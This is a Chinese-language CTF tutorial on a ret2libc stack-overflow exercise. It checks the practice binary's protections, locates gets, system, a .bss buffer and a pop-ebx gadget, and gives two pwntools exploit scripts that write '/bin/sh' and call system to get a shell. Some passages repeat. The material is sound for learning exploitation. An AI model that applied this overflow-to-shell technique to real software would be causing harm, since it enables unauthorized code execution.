栈溢出入门06 ret2libc2
文件下载地址:
链接:https://pan.baidu.com/s/1Lncq6vrUNEJ7vLKvTQ_gsA
提取码:yywk
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
只开了堆栈不可执行。
源码:
存在gets,继续看线程窗口:
先再bss段找一个变量:
ROPgadget --binary ret2libc2 --only 'pop|ret'| grep 'ebx'
0x0804872c : pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x0804843d : pop ebx ; ret
pop ebx地址为:0x0804843d
链接:https://pan.baidu.com/s/1Lncq6vrUNEJ7vLKvTQ_gsA
提取码:yywk
0x01.分析
checksec:Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
只开了堆栈不可执行。
源码:
1 int __cdecl main(int argc, const char **argv, const char **envp) 2 { 3 char s; // [esp+1Ch] [ebp-64h] 4 5 setvbuf(stdout, 0, 2, 0); 6 setvbuf(_bss_start, 0, 1, 0); 7 puts("Something surprise here, but I don't think it will work."); 8 printf("What do you think ?"); 9 gets(&s); 10 return 0; 11 }

继续找到system的地址:

sytem地址:0x08048490
没有找到bin/sh,所有我们可以自己制造一个。先再bss段找一个变量:

buf2的地址为:0x0804A080
我们需要调用gets函数,读取一个bin/sh放在buf2,然后找到gets函数,去plt表看:
gets地址为:0x08048460。
得到偏移量:
0x02.exp
方法一:
1 from pwn import* 2 r=process('./ret2libc2') 3 sys_adr=0x08048490 4 gets_adr=0x08048460 5 buf2_adr=0x0804A080 6 7 payload=flat([112*'A',gets_adr,sys_adr,buf2_adr,buf2_adr]) 8 9 r.sendline(payload) 10 r.sendline('/bin/sh') 11 r.interactive()
方法二:
需要再寻找一个pop(作用后面说):ROPgadget --binary ret2libc2 --only 'pop|ret'| grep 'ebx'
0x0804872c : pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x0804843d : pop ebx ; ret
pop ebx地址为:0x0804843d
1 ##!/usr/bin/env python 2 from pwn import* 3 4 r=process('./ret2libc2') 5 6 sys_adr=0x08048490 7 gets_adr=0x08048460 8 buf2_adr=0x0804A080 9 pop_ebx=0x0804843D 10 11 payload=flat([112*'A',gets_adr,pop_ebx,buf2_adr,sys_adr,'AAAA',buf2_adr]) 12 #payload=flat([112*'A',gets_adr,sys_adr,buf2_adr,buf2_adr]) 13 14 r.sendline(payload) 15 r.sendline('/bin/sh') 16 r.interactive()
pop ebx在此处的作用就是将gets函数的参数给pop掉。程序运行时是这样的:程序溢出后先运行到gets函数,然后gets函数返回后正好是pop ebx,这时候就会把buf2的地址pop到ebx中,然后继续运行就到了system函数的位置。
0x03.总结
由于没有/bin/sh字符串,所有我们需要自己制造一个出来,利用存在的gts函数,读取一个/bin/sh到bss段的buf2处,再在后面的调用中把buf2作为参数。
第一种方法,栈分步应该是这样的,从上到下(低地址到高地址):
gets地址
system地址(也是gets的返回地址)
buf2(是gets的参数)
buf2(是system的参数)
第二种方法:
gets地址
pop ebx ;ret地址
buf2(gets的参数)
system地址
system的返回地址('AAAA')
buf2(system的参数)
第一种方法很好理解。
第二种方法就是在调用gets函数后,把参数buf2给pop掉,这样返回地址就变成了system,就会返回到system。
本文复制自:https://blog.csdn.net/ATFWUS/article/details/104565483,感觉人家写的不错,直接拿过来用。

浙公网安备 33010602011771号